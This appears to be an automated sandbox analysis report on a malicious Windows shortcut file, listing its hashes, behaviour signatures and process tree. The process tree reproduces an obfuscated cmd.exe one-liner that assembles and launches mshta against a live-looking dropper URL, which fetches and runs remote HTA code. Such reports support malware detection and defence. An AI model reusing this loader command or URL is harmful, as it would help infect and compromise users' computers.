Analysis
- max time kernel
148s - max time network
113s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:23
Static task
static1
Behavioral task
behavioral1
Sample
DOC-TBTFMG.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-TBTFMG.lnk
Resource
win11ltsc2024-20260710-en
3 signatures
150 seconds
General
- Target DOC-TBTFMG.lnk
- Size 1KB
- Sample260804-kae6msar6x
- SHA256 35c0d3544ca8a0d7487bb8b3fb896fcbd5e3d6c76cb8817f5ea4d191ceacccf9
- MD5 230181ed689107a37f5cc4d43dd9d140
- SHA1 44eb029dac089990df2a2c3837324bcfba162f78
- SHA512 86ee877ff0c2db3bf189024119d84d164db1b73db5e0a970a297439b33f685eeca7d0e74f42811ebcb68e59c590ea04785f633d8da4d53811895d5b6144cb171
- TLSH T12B3197103FEC0624F3FB8F7298BB572089BEB9668D20C62D0040460C5472A15E53AF6B
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4940 cmd.exe 2252 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2252 wrote to memory of 4940 2252 cmd.exe 91 PID 4940 wrote to memory of 2816 4940 cmd.exe 92
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-TBTFMG.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2252 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /C "set dyXp=msh&&set GJ=ta&&start "" !dyXp!!GJ! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4940 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:2816
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:360